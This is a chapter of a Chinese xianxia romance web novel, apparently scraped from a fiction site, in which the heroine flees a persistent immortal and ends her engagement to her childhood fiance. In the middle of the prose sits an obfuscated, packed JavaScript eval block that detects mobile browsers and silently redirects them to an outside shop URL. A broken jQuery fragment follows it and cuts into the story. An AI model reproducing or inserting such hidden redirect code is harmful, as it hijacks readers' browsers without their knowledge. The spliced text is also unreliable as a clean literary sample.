文趣网 > 其他小说 > 仙君总想收我为徒 > 35. 久符,我们的婚约取消吧
    欣桃和清来都很是惊讶,但清来十分认同岁除的话,连连点头。“岁除仙君说得对,欣桃你就留下来多休养几日吧。”

    若风脸上仍是挂着浅浅的笑,“欣桃仙子,还是听清来的话,莫让她担心。飞霜与你同门师兄弟也很是紧张你,这会儿已经到院门口了。”

    欣桃竖起耳朵仔细听,确实听到她的师兄弟们匆匆赶回来的脚步声,嘴上还念叨着就这样直接进入岁除仙君的院子是否妥当。

    欣桃这时才惊觉自己被带回岁除的房间中,目光一下子就打在了岁除脸上,他却疑惑不解地迎着她的目光看过来。他这是什么意思?还有刚才他那声“不行”为什么喊那么大声?

    她连忙跳起来,好似那床烫屁股一样,别说现在她能自己走路,即使奄奄一息,爬也要爬着离开!

    她怎么能待在岁除这个家伙的房间里!这不是给他瓮中捉鳖的机会吗?

    欣桃不管清来,若风,岁除如何劝说阻拦,连滚带爬跑出房门,正好撞上迎面而来的同门师兄弟,狼狈地摔了一跤。

    “欣桃!”

    “少主!”

    众人顿时手忙脚乱撞成一团,欣桃偏偏正好趁机逃出岁除院子。

    之后在清来忧心忡忡的劝说下,欣桃没有能回百兽谷,答应暂时留在春信岛。但她怎么也不敢自己住一间房,躲在清来房间和她挤一张床。

    可那岁除这几日变得特别不要脸,整日借着为她治疗的借口来寻她,还一待便是半日,离开的时候甚是拖拖拉拉,整得清来连自己的房间都极少回来。

    欣桃很是纳闷,他每次来不是给她提一大堆美食甜点,就是各种有趣的物件,比如会动的灵兽木雕,比如会变出幻境的走马灯。

    还以各种方式展示自己的法术有多么厉害,恬不知耻的问她是否想学,甚至夜晚她准备睡觉之时跑到院子的凉亭里吹笛御灵,将整个院子变作星海一样。

    欣桃被他不厌其烦的讨好整得有些无力招架,在面对那些美食和有趣的物件时,总是经不住诱惑大快朵颐,玩得爱不释手。至于向他学习法术,她是无论如何也不会被引诱,毕竟她是很有原则的人。

    她说不会入天云州成为天云州弟子,便是不会!她若是跟他学一点法术,不就让他误会有希望收她为徒吗?那绝对不可能!

    何况她虽然得到了紫霞剑,但依旧不喜欢战斗类的法术。

    这日夜里,岁除依旧到院子里吹笛御灵,只是与往日不同,若风也在。

    欣桃从半开着的窗户探出脑袋,正好看到灵汇聚于天空如繁花盛开,可她只看了一眼,压根儿没心情欣赏,一心只盼望姐姐早点回来,好锁门睡觉。

    她往院门望了一会儿不见清来人影,关好窗户,又等了一会儿,清来终于回来了,却是一脸担忧和疑惑地走进来。

    “姐姐这是怎么了?”欣桃关好门上好锁。

    “今日师父与岁除仙君打了一架。”

    “?”欣桃很是好奇,“为何?”

    “岁除仙君像是嫉妒师父做了什么事,让他很是挫败,便要求与师父比试一场。”

    “比什么?”

    “比火系法术。看谁的火系法术谁更强。”

    “然后呢?”

    “师父火系灵脉在整个仙界数一数二,岁除仙君虽没输,却也没有赢。可谁也没料到,岁除仙君突然以水系法术将师父打了个措手不及,形容狼狈。”

    “突然变换法术?真是个无耻之徒!毫无诚信!卑鄙小人!”欣桃气愤填膺,拍案而起,一副准备去为若风评理的架势,但脚下竟是不动一步。

    “后来呢?”

    “师父当然不肯认输,便说以木系法术再比一场。”

    “然后呢?”

    “师父输了。岁除仙君很是得意。”

    “小心眼!小人得志!小气鬼!”

    清来不敢评价岁除仙君,但听欣桃这么说,暗自在心里认同。

    “师父平日是极少生气,不知为何被岁除气着了。要求再比。”

    “这次又比什么?”

    “比喝酒。方才我和飞霜去买酒,这会儿他们正在院子里比试呢。”

    “嗯?”欣桃侧耳倾听,御灵的笛声果然没有了。这不正好!可以好好睡觉了!

    “只是比喝酒,那没什么好担心的!不对!”欣桃转念一想,岁除那家伙会不会趁喝醉跑来耍酒疯?但他堂堂仙君不至于吧?

    “什么不对?”清来紧张地问。

    “还是再设一道结界比较稳妥。我就怕他们喝醉酒来敲门,我已经好几日睡眠不足了。他们堂堂仙君也太不守礼节了。”

    清来见自己担心的,和欣桃担心的完全不一样,愁容不展,“喝酒伤身,我有些担心师父。”

    “别担心,他堂堂仙君,怎能喝个酒就伤身。”说着小声嘀咕,“趁机耍酒疯倒是有可能。”

    “他们喝的是醉仙酒,号称不醉凡人只醉仙的醉仙酒。”

    “那也没事,醉不死。”欣桃已经设好结界并爬上床,“困死我了,我先睡了。母亲大人给我传信,说昨日接到一大笔订单,命我明日就回百兽谷去。我需得早起。”

    “你明日就回去了?不与师父和岁除仙君说一声。”

    “那当然不能说,说了我还走得成?”欣桃盖好被子闭上眼睛,“我真要睡了!”说完就真的睡过去了。

    这夜,岁除与若风喝得酩酊大醉,早上是断然起不来了。

    欣桃喜出望外,离开春信岛的时候不疾不徐,还沿途欣赏起风景来。

    “先前怎么没发现这出入岛的景色这么好看呢?真好看!”

    欣桃脸上的笑容格外甜美,可刚走到岛屿入口处,便见到久符等在那里,脸上的笑容浅了许多。

    他看见欣桃,立即走上前来,“欣桃!我在这等了你许多日,终于能见到你了!你的伤好了吗?我一直担心你,食不知味,夜不能眠,想来看你,可岁除仙君任凭我如何哀求也不肯让我入岛。”

    欣桃有些怀疑,若是以前她是断然不会怀疑久符的,只是斗法大会以后,她确定自己并没有想象中的了解他。“你在这等了我许多日?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558088|203607||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “嗯。你受伤那日我便日日来此,想去看你。想给青鸾传信,却被结界挡住了。”

    欣桃点点头,“我没事了。当日我受的伤还不如你当初伤得重。谢谢你久符,让你担心了。”

    “何必言谢,你受伤我怎么能不担心。你现在是要回百兽谷吗?”

    “嗯。我们一起回去吧?正好我有事想与你说。”

    欣桃这几日虽然不停地被岁除烦,可也一直在思考自己与久符的婚约是否还有必要保留。

    “好,我也有些事想要与你解释。”

    欣桃听他这么一说,也等不及回百兽谷再说了,“久符,我们的婚约取消吧。”

    如欣桃所料,刚说完这话,久符的表情崩如春花谢。

    他慌张地抓起她的手,“欣桃,你一定是误会了。我与晓蓉清清白白,她虽然喜欢我,一直追求我,可我并不喜欢她。我喜欢的人一直是你,从小就是你。没有变过!”

    他说得情真意切,梨花带雨。欣桃忍不住心软,还隐隐生出愧疚之情,可这个决定是她深思熟虑之后的结果,不会轻易改变。

    “久符,你有没有想过,或许我们之间的感情并不是男女之情,只是相识相伴这么多年,习惯了,或许我们之间的感情更像兄妹?”其实,欣桃虽然做出了这个决定,但她并不是很确定自己对久符是否真的没有一点男女之情,但从小相识的感情确确实实是有的,她不忍他伤心。

    “你我之间绝非兄妹之情!欣桃,我知道最近流言蜚语很多,你听了伤心。可我向你保证,不,我向你发誓,绝对不是他们说的那样,我从来没有接受过晓蓉的追求。一直都是她自己一厢情愿。她强塞给我的东西,我全部都退还给她了。上次她要送我的紫霞剑,我也没有拿,你也看到了。所以你才能从她手上赢下紫霞剑啊。”

    欣桃心想,晓蓉当着这么多人的面挑战她,要求她输后取消与久符的婚约,结果自己却输了,还丢了紫霞剑,确实会遭人非议。这么想来,尽管自己没能从晓蓉身上为姐姐讨回公道,但因着这事也够她受的。

    “这几日我一直待在春信岛没有出去过,没听到任何流言蜚语。”

    久符有一瞬间愣神,但很快急切地道:“不管有没有那些流言蜚语,欣桃你相信我,我对你真心的。”

    欣桃其实心中也拿不准久符对她的感情,只是,经过之前种种她可以肯定像晓蓉那样的身份是他更想要的,可她给不了他想要的。

    “久符,解除婚约的事情我已经决定了。你不必因为收了晓蓉的东西而内疚,也不必在意别人的说的话。我觉得她敢当着这么多人的面挑战我,要我们解除婚约,是真心喜欢你。”说着他拿出紫霞剑递给他,“这把剑,是我抢来的,但不管是谁拥有这把剑,都想把它送给你。”

    久符又是一愣,悬在眼角的泪珠便像断了弦一样滴落。

    这一次,欣桃在他眼里清清楚楚地看到了内疚的情绪,她忽然更加坚定自己做的决定。

    “我知道你可能一时间难以接受,可你会慢慢明白,我们之间或许更多的是兄妹之情。”